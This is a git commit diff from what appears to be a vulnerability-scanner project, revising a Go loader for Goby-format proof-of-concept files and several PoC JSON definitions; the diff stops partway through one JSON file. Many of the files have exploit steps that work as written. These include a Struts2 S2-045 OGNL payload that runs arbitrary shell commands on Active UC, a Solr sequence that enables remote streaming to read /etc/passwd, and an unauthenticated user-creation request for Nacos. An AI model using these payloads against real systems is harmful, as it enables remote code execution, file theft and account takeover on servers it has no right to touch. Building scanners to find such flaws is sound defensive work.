This commit is contained in:
test 2022-12-01 18:14:36 +00:00
parent 024705e4fd
commit 23ee927704
44 changed files with 971 additions and 2492 deletions

File diff suppressed because one or more lines are too long

373
go/poc.go
View File

@ -1,332 +1,53 @@
package goby
package gobypoc
import (
"encoding/json"
"github.com/niudaii/zpscan/internal/utils"
"github.com/niudaii/zpscan/pkg/pocscan/cel/proto"
"io/ioutil"
"strconv"
"strings"
)
type Poc struct {
Name string `json:"Name"`
Description string `json:"Description"`
Product string `json:"Product"`
Homepage string `json:"Homepage"`
DisclosureDate string `json:"DisclosureDate"`
Author string `json:"Author"`
FofaQuery string `json:"FofaQuery"`
GobyQuery string `json:"GobyQuery"`
Level string `json:"Level"`
Impact string `json:"Impact"`
VulType []interface{} `json:"VulType"`
CVEIDs []interface{} `json:"CVEIDs"`
CNNVD []interface{} `json:"CNNVD"`
CNVD []interface{} `json:"CNVD"`
CVSSScore string `json:"CVSSScore"`
Is0Day bool `json:"Is0day"`
Recommendation string `json:"Recommendation"`
Translation struct {
CN struct {
Name string `json:"Name"`
Product string `json:"Product"`
Description string `json:"Description"`
Recommendation string `json:"Recommendation"`
Impact string `json:"Impact"`
VulType []interface{} `json:"VulType"`
Tags []interface{} `json:"Tags"`
} `json:"CN"`
EN struct {
Name string `json:"Name"`
Product string `json:"Product"`
Description string `json:"Description"`
Recommendation string `json:"Recommendation"`
Impact string `json:"Impact"`
VulType []interface{} `json:"VulType"`
Tags []interface{} `json:"Tags"`
} `json:"EN"`
} `json:"Translation"`
References []string `json:"References"`
HasExp bool `json:"HasExp"`
ExpParams interface{} `json:"ExpParams"`
ExpTips struct {
Type string `json:"Type"`
Content string `json:"Content"`
} `json:"ExpTips"`
ScanSteps []interface{} `json:"ScanSteps"`
ExploitSteps interface{} `json:"ExploitSteps"`
Tags interface{} `json:"Tags"`
AttackSurfaces struct {
Application interface{} `json:"Application"`
Support interface{} `json:"Support"`
Service interface{} `json:"Service"`
System interface{} `json:"System"`
Hardware interface{} `json:"Hardware"`
} `json:"AttackSurfaces"`
}
type Rule struct {
Request struct {
Data string `json:"data"`
DataType string `json:"data_type"`
FollowRedirect bool `json:"follow_redirect"`
Header map[string]string `json:"header"`
Method string `json:"method"`
Uri string `json:"uri"`
} `json:"Request"`
ResponseTest struct {
Checks []Checks `json:"checks"`
Operation string `json:"operation"`
Type string `json:"type"`
} `json:"ResponseTest"`
SetVariable []interface{} `json:"SetVariable"`
}
type Checks struct {
Bz string `json:"bz"`
Operation string `json:"operation"`
type Check struct {
Type string `json:"type"`
Value string `json:"value"`
Variable string `json:"variable"`
Operation string `json:"operation"`
Value string `json:"value"`
Bz string `json:"bz"`
}
type ResponseTest struct {
Type string `json:"type"`
Operation string `json:"operation"`
Checks []Check `json:"checks"`
}
type Request struct {
Method string `json:"method"`
Uri string `json:"uri"`
FollowRedirect bool `json:"follow_redirect"`
Header map[string]string `json:"header"`
DataType string `json:"data_type"`
Data string `json:"data"`
SetVariable []string `json:"set_variable"`
}
type ScanStep struct {
Requests Request
ResponseTest ResponseTest
SetVariable []string
}
// LoadAllPoc 加载全部poc
func LoadAllPoc(pocDir string) (pocs []*Poc, err error) {
var pocPathList []string
pocPathList, err = utils.GetAllFile(pocDir)
if err != nil {
return
}
for _, pocPath := range pocPathList {
if !strings.HasSuffix(pocPath, ".json") {
continue
}
var poc Poc
var bytes []byte
bytes, err = ioutil.ReadFile(pocPath)
if err != nil {
return
}
err = json.Unmarshal(bytes, &poc)
if err != nil {
return
}
pocs = append(pocs, &poc)
}
return
}
// CheckResult checks
func (r *Rule) CheckResult(preq *proto.Response) bool {
var result []bool
var result1 bool
for _, check := range r.ResponseTest.Checks {
result1 = CheckOperation(check, preq)
result = append(result, result1)
}
if r.ResponseTest.Operation == "AND" {
for _, res := range result {
if !res {
return false
}
}
return true
} else if r.ResponseTest.Operation == "OR" {
for _, res := range result {
if res {
return true
}
}
}
return false
}
// CheckOperation operation
func CheckOperation(check Checks, preq *proto.Response) bool {
switch {
case strings.EqualFold(check.Operation, "contains"):
{
if check.Variable == "$body" {
if strings.Contains(string(preq.Body), check.Value) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if strings.Contains(header, check.Value) {
return true
}
}
} else if check.Variable == "$code" {
if strings.Contains(strconv.Itoa(int(preq.Status)), check.Value) {
return true
}
}
}
case strings.EqualFold(check.Operation, "not contains"):
{
if check.Variable == "$body" {
if !(strings.Contains(string(preq.Body), check.Value)) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if !(strings.Contains(header, check.Value)) {
return true
}
}
} else if check.Variable == "$code" {
if !(strings.Contains(strconv.Itoa(int(preq.Status)), check.Value)) {
return true
}
}
}
case strings.EqualFold(check.Operation, "start_with"):
{
if check.Variable == "$body" {
if strings.HasPrefix(string(preq.Body), check.Value) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if strings.HasPrefix(header, check.Value) {
return true
}
}
} else if check.Variable == "$code" {
if strings.HasPrefix(strconv.Itoa(int(preq.Status)), check.Value) {
return true
}
}
}
case strings.EqualFold(check.Operation, "end_with"):
{
if check.Variable == "$body" {
if strings.HasSuffix(string(preq.Body), check.Value) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if strings.HasSuffix(header, check.Value) {
return true
}
}
} else if check.Variable == "$code" {
if strings.HasSuffix(strconv.Itoa(int(preq.Status)), check.Value) {
return true
}
}
}
case strings.EqualFold(check.Operation, "=="):
{
if check.Variable == "$body" {
if check.Value == string(preq.Body) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if check.Value == header {
return true
}
}
} else if check.Variable == "$code" {
if check.Value == strconv.Itoa(int(preq.Status)) {
return true
}
}
}
case strings.EqualFold(check.Operation, "!="):
{
if check.Variable == "$body" {
if check.Value != string(preq.Body) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if check.Value != header {
return true
}
}
} else if check.Variable == "$code" {
if check.Value != strconv.Itoa(int(preq.Status)) {
return true
}
}
}
case strings.EqualFold(check.Operation, ">"):
{
if check.Variable == "$body" {
if check.Value > string(preq.Body) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if check.Value > header {
return true
}
}
} else if check.Variable == "$code" {
if check.Value > strconv.Itoa(int(preq.Status)) {
return true
}
}
}
case strings.EqualFold(check.Operation, "<"):
{
if check.Variable == "$body" {
if check.Value < string(preq.Body) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if check.Value < header {
return true
}
}
} else if check.Variable == "$code" {
if check.Value < strconv.Itoa(int(preq.Status)) {
return true
}
}
}
case strings.EqualFold(check.Operation, ">="):
{
if check.Variable == "$body" {
if check.Value >= string(preq.Body) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if check.Value >= header {
return true
}
}
} else if check.Variable == "$code" {
if check.Value >= strconv.Itoa(int(preq.Status)) {
return true
}
}
}
case strings.EqualFold(check.Operation, "<="):
{
if check.Variable == "$body" {
if check.Value <= string(preq.Body) {
return true
}
} else if check.Variable == "$head" {
for _, header := range preq.Headers {
if check.Value <= header {
return true
}
}
} else if check.Variable == "$code" {
if check.Value <= strconv.Itoa(int(preq.Status)) {
return true
}
}
}
default:
return false
}
return false
type PocJson struct {
Name string `json:"Name"`
Level string `json:"Level"`
Tags []string `json:"Tags"`
Query string `json:"GobyQuery"`
Description string `json:"Description"`
Product string `json:"Product"`
Homepage string `json:"Homepage"`
Author string `json:"Author"`
Impact string `json:"Impact"`
Recommandation string `json:"Recommandation"`
References []string `json:"References"`
HasExp bool `json:"HasExp"`
ExpParams []struct {
Name string `json:"name"`
Type string `json:"type"`
Value string `json:"value"`
Show string `json:"show"`
} `json:"ExpParams"`
ScanSteps []interface{} `json:"ScanSteps"`
ExploitSteps []interface{} `json:"ExploitSteps"`
PostTime string `json:"PostTime"`
Version string `json:"GobyVersion"`
}

View File

@ -1,23 +1,17 @@
{
"Name": "360 TianQing ccid SQL injectable",
"Level": "2",
"Tags": [
"sqli"
],
"Tags": [],
"GobyQuery": "app=\"360-TianQing\"",
"Description": "",
"Description": "The attacker can get the server permission by injecting SQL into the upload Trojan",
"Product": "360 TianQing",
"Homepage": "https://360.net/product-center/Endpoint-Security/management-system",
"Author": "",
"Impact": "The attacker can get the server permission by injecting SQL into the upload Trojan.",
"Recommendation": "update",
"References": [],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Homepage": "htp://360.cn",
"Author": "PeiQi",
"Impact": "<p>The attacker can get the server permission by injecting SQL into the upload Trojan<br></p>",
"Recommandation": "",
"References": [
"http://wiki.peiqi.tech"
],
"ScanSteps": [
"AND",
{
@ -25,7 +19,7 @@
"method": "GET",
"uri": "/api/dp/rptsvcsyncpoint?ccid=1",
"follow_redirect": true,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -66,43 +60,6 @@
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-09 08:51:50",
"GobyVersion": "1.8.255"
}

View File

@ -1,23 +1,19 @@
{
"Name": "360 TianQing database information disclosure",
"Name": "360 Tianqing database information disclosure",
"Level": "0",
"Tags": [
"Disclosure of Sensitive Information"
],
"GobyQuery": "app=\"360-TianQing\"",
"Description": "",
"Product": "360 TianQing",
"Homepage": "https://360.net/product-center/Endpoint-Security/management-system",
"Author": "",
"Impact": "Tianqing has unauthorized unauthorized unauthorized access, resulting in the disclosure of sensitive information.",
"Recommendation": "update",
"References": [],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Description": "Tianqing has unauthorized unauthorized unauthorized access, resulting in the disclosure of sensitive information",
"Product": "360 Tianqing",
"Homepage": "https://www.360.cn/",
"Author": "PeiQi",
"Impact": "",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"ScanSteps": [
"AND",
{
@ -25,7 +21,7 @@
"method": "GET",
"uri": "/api/dbstat/gettablessize",
"follow_redirect": false,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -66,43 +62,6 @@
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-08 16:04:28",
"GobyVersion": "1.8.255"
}

View File

@ -1,29 +1,28 @@
{
"Name": "Active UC index.action RCE",
"Name": "Active UC index.action 远程命令执行漏洞",
"Level": "3",
"Tags": [
"RCE"
],
"GobyQuery": "title=\"网动统一通信平台(Active UC)\"",
"Description": "",
"Product": "Active UC",
"Homepage": "http://www.iactive.com.cn/",
"Author": "",
"Impact": "Active UC index.action has a RCE vulnerability.",
"Recommendation": "update",
"References": [],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "whoami"
}
"Description": "网动统一通信平台 Active UC index.action 存在S2-045远程命令执行漏洞, 通过漏洞可以执行任意命令",
"Product": "网动统一通信平台(Active UC)",
"Homepage": "https://gobies.org/",
"Author": "luckying",
"Impact": "",
"Recommandation": "",
"References": [
"https://gobies.org/"
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "whoami",
"show": ""
}
],
"ScanSteps": [
"AND",
{
@ -42,7 +41,7 @@
"Pragma": "no-cache"
},
"data_type": "text",
"data": "-----------------------------18012721719170\r\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\r\nContent-Type: text/plain\r\n-----------------------------18012721719170"
"data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170"
},
"ResponseTest": {
"type": "group",
@ -60,7 +59,7 @@
"SetVariable": []
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
@ -73,12 +72,12 @@
"Connection": "close",
"Cookie": "SessionId=96F3F15432E0660E0654B1CE240C4C36",
"Charsert": "UTF-8",
"Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{{cmd}}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170",
"Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{{Cmd}}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170",
"Cache-Control": "no-cache",
"Pragma": "no-cache"
},
"data_type": "text",
"data": "-----------------------------18012721719170\r\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\r\nContent-Type: text/plain\r\n-----------------------------18012721719170"
"data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170"
},
"ResponseTest": {
"type": "group",
@ -94,10 +93,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-06-28 10:08:54",
"GobyVersion": "1.8.268"
}

View File

@ -2,38 +2,39 @@
"Name": "Alibaba Nacos Add user not authorized",
"Level": "2",
"Tags": [
"unauthorized"
"Ultra vires"
],
"GobyQuery": "title=\"Nacos\"",
"Description": "Alibaba Nacos is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.",
"GobyQuery": "title==\"Nacos\"",
"Description": "On December 29, 2020, the Nacos official disclosed in the issue released by GitHub that there is an unauthorized access vulnerability in Alibaba Nacos due to improper handling of user agent. Through this vulnerability, the attacker can perform arbitrary operations, including creating a new user and performing post login operations.",
"Product": "Alibaba Nacos",
"Homepage": "https://github.com/alibaba/nacos",
"Author": "",
"Impact": "On December 29, 2020, the Nacos official disclosed in the issue released by GitHub that there is an unauthorized access vulnerability in Alibaba Nacos due to improper handling of user agent. Through this vulnerability, the attacker can perform arbitrary operations, including creating a new user and performing post login operations.",
"Recommendation": "update",
"References": [],
"HasExp": true,
"ExpParams": [
{
"Name": "User",
"Type": "input",
"Value": "test"
},
{
"Name": "Pass",
"Type": "input",
"Value": "test"
},
{
"Name": "Dir",
"Type": "select",
"Value": "/v1/auth/users,/nacos/v1/auth/users"
}
"Author": "PeiQi",
"Impact": "<p>Through this vulnerability, the attacker can perform arbitrary operations, including creating a new user and performing post login operations.<br></p>",
"Recommandation": "<p>Upgrade version<br></p>",
"References": [
"http://wiki.peiqi.tech"
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "User",
"type": "input",
"value": "PeiQi",
"show": ""
},
{
"name": "Pass",
"type": "input",
"value": "PeiQi",
"show": ""
},
{
"name": "Dir",
"type": "select",
"value": "/v1/auth/users,/nacos/v1/auth/users",
"show": ""
}
],
"ScanSteps": [
"OR",
{
@ -89,7 +90,7 @@
"SetVariable": []
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
@ -102,7 +103,7 @@
"data_type": "text",
"data": "username={{{User}}}&password={{{Pass}}}"
},
"ResponseTest": {
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
@ -116,10 +117,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-04 19:56:49",
"GobyVersion": "1.8.255"
}

View File

@ -1,23 +1,19 @@
{
"Name": "Alibaba Nacos Default Password",
"Name": "Alibaba Nacos Default password",
"Level": "1",
"Tags": [
"Default Password"
"Default password"
],
"GobyQuery": "title=\"Nacos\"",
"Description": "Alibaba Nacos is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.",
"GobyQuery": "title==\"Nacos\"",
"Description": "There is a default weak password Nacos/Nacos in the Alibaba Nacos console. You can log in to the background to view sensitive information (nacos/naocs)",
"Product": "Alibaba Nacos",
"Homepage": "https://github.com/alibaba/nacos",
"Author": "",
"Impact": "There is a default weak password Nacos/Nacos in the Alibaba Nacos console. You can login to the background to view sensitive information (nacos/naocs).",
"Recommendation": "",
"References": [],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Author": "PeiQi",
"Impact": "<p>Log in to the background to view sensitive information<br></p>",
"Recommandation": "<p>Upgrade version</p>",
"References": [
"http://wiki.peiqi.tech"
],
"ScanSteps": [
"OR",
{
@ -75,43 +71,6 @@
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-04 18:56:41",
"GobyVersion": "1.8.255"
}

View File

@ -1,18 +1,18 @@
{
"Name": "Apache Airflow Unauthorized",
"Level": "2",
"Level": "3",
"Tags": [
"Unauthorized"
],
"GobyQuery": "app=\"APACHE-Airflow\"",
"Description": "Airflow is a platform created by the community to programmatically author, schedule and monitor workflows.",
"Description": "remote attacker to gain unauthorized access to a targeted system",
"Product": "APACHE-Airflow",
"Homepage": "https://airflow.apache.org/",
"Author": "",
"Impact": "Acunetix determined that it was possible to access Airflow Web interface without authentication. Airflow is designed to be accessed by trusted clients inside trusted environments. It's not recommended to have it publicly accessible.",
"Recommendation": "Restrict public access and upgrade to the latest version of Airflow.",
"Author": "aetkrad",
"Impact": "<p>This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs<br></p>",
"Recommendation": "",
"References": [],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -62,43 +62,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-10-31 15:32:53",
"GobyVersion": "1.8.302"
}

View File

@ -1,23 +1,19 @@
{
"Name": "Apache Kylin Console default password",
"Name": "Apache Kylin Console Default password",
"Level": "1",
"Tags": [
"Default password"
],
"GobyQuery": "app=\"APACHE-kylin\"",
"Description": "Apache Kylin™ is an open source, distributed Analytical Data Warehouse for Big Data; it was designed to provide OLAP (Online Analytical Processing) capability in the big data era. By renovating the multi-dimensional cube and precalculation technology on Hadoop and Spark, Kylin is able to achieve near constant query speed regardless of the ever-growing data volume. Reducing query latency from minutes to sub-second, Kylin brings online analytics back to big data.",
"Description": "Apache kylin console has a default weak password of admin/KYLIN, which can be further exploited by login console",
"Product": "Apache Kylin",
"Homepage": "http://kylin.apache.org/",
"Author": "",
"Impact": "Apache kylin console has a default weak password of admin/KYLIN, which can be further exploited by login console.",
"Recommendation": "",
"References": [],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Author": "PeiQi",
"Impact": "<p>The attacker will log into the background as an administrator to further attack</p>",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"ScanSteps": [
"AND",
{
@ -55,43 +51,6 @@
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-04 15:51:21",
"GobyVersion": "1.8.255"
}

View File

@ -1,31 +1,28 @@
{
"Name": "Apache Kylin API Unauthorized Access CVE-2020-13937",
"Level": "1",
"Name": "Apache Kylin Unauthorized configuration disclosure (CVE-2020-13937)",
"Level": "0",
"Tags": [
"unauthorized"
"Disclosure of Sensitive Information"
],
"GobyQuery": "app=\"APACHE-kylin\"",
"Description": "Apache Kylin™ is an open source, distributed Analytical Data Warehouse for Big Data; it was designed to provide OLAP (Online Analytical Processing) capability in the big data era. By renovating the multi-dimensional cube and precalculation technology on Hadoop and Spark, Kylin is able to achieve near constant query speed regardless of the ever-growing data volume. Reducing query latency from minutes to sub-second, Kylin brings online analytics back to big data.",
"Description": "Apache kylin has a restful API that exposes configuration information without authorization.\nAttackers can use this vulnerability to obtain sensitive information of the system.",
"Product": "Apache kylin",
"Homepage": "http://kylin.apache.org/",
"Author": "",
"Impact": "Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha has one restful api which exposed Kylin's configuration information without any authentication, so it is dangerous because some confidential information entries will be disclosed to everyone.",
"Recommendation": "update",
"Author": "PeiQi",
"Impact": "<p>Attackers can use this vulnerability to obtain sensitive information of the system.<br></p>",
"Recommandation": "<p>Upgrade to the safe version, or perform the following mitigation measures:</p><p>Edit \"$kylin\"_ HOME/WEB-INF/classes/ kylinSecurity.xml \"</p><p>Delete the following line \"&lt; scr:intercept-url pattern= \"/api/admin/config\" access=\"permitAll\"/&gt;\"</p><p>Restart the kylin instance to take effect.</p>",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2020-13937"
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Config",
"Type": "select",
"Value": "/kylin/api/admin/config"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "Config",
"type": "select",
"value": "/kylin/api/admin/config",
"show": ""
}
],
"ScanSteps": [
"AND",
{
@ -33,7 +30,7 @@
"method": "GET",
"uri": "/kylin/api/admin/config",
"follow_redirect": true,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -60,18 +57,18 @@
"SetVariable": []
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/kylin/api/admin/config",
"follow_redirect": true,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
@ -92,10 +89,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-04 15:55:28",
"GobyVersion": "1.8.255"
}

View File

@ -1,155 +1,155 @@
{
"Name": "Apache Solr Arbitrary File Read",
"Level": "2",
"Tags": ["fileread"],
"GobyQuery": "app=\"Solr\"",
"Description": "Apache Solr has an arbitrary file read vulnerability, which allows attackers to obtain sensitive files from the target server without authorization.",
"Product": "Apache Solr",
"Homepage": "https://solr.apache.org/",
"Author": "PeiQi",
"Impact": "<p>Read any file on the server</p>",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "file",
"type": "createSelect",
"value": "/etc/passwd,\\\\127.0.0.1\\c$\\Windows\\win.ini",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/solr/admin/cores?indexInfo=false&wt=json",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "responseHeader",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/solr/admin/cores?indexInfo=false&wt=json",
"follow_redirect": false,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "responseHeader",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"name\":\"(.*?)\","
]
},
{
"Request": {
"method": "POST",
"set_variable":["solrCore|lastbody|regex|(?s)\"name\":\"(.*?)\","],
"uri": "/solr/{{{solrCore}}}/config",
"follow_redirect": false,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"set-property\" : {\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/solr/{{{solrCore}}}/debug/dump?param=ContentStreams",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "stream.url=file://{{{file}}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"stream\":\"(.*)\"}]"
]
}
],
"PostTime": "2021-03-27 17:17:15",
"GobyVersion": "1.8.254"
{
"Name": "Apache Solr Arbitrary File Read",
"Level": "2",
"Tags": ["fileread"],
"GobyQuery": "app=\"Solr\"",
"Description": "Apache Solr has an arbitrary file read vulnerability, which allows attackers to obtain sensitive files from the target server without authorization.",
"Product": "Apache Solr",
"Homepage": "https://solr.apache.org/",
"Author": "PeiQi",
"Impact": "<p>Read any file on the server</p>",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "file",
"type": "createSelect",
"value": "/etc/passwd,\\\\127.0.0.1\\c$\\Windows\\win.ini",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/solr/admin/cores?indexInfo=false&wt=json",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
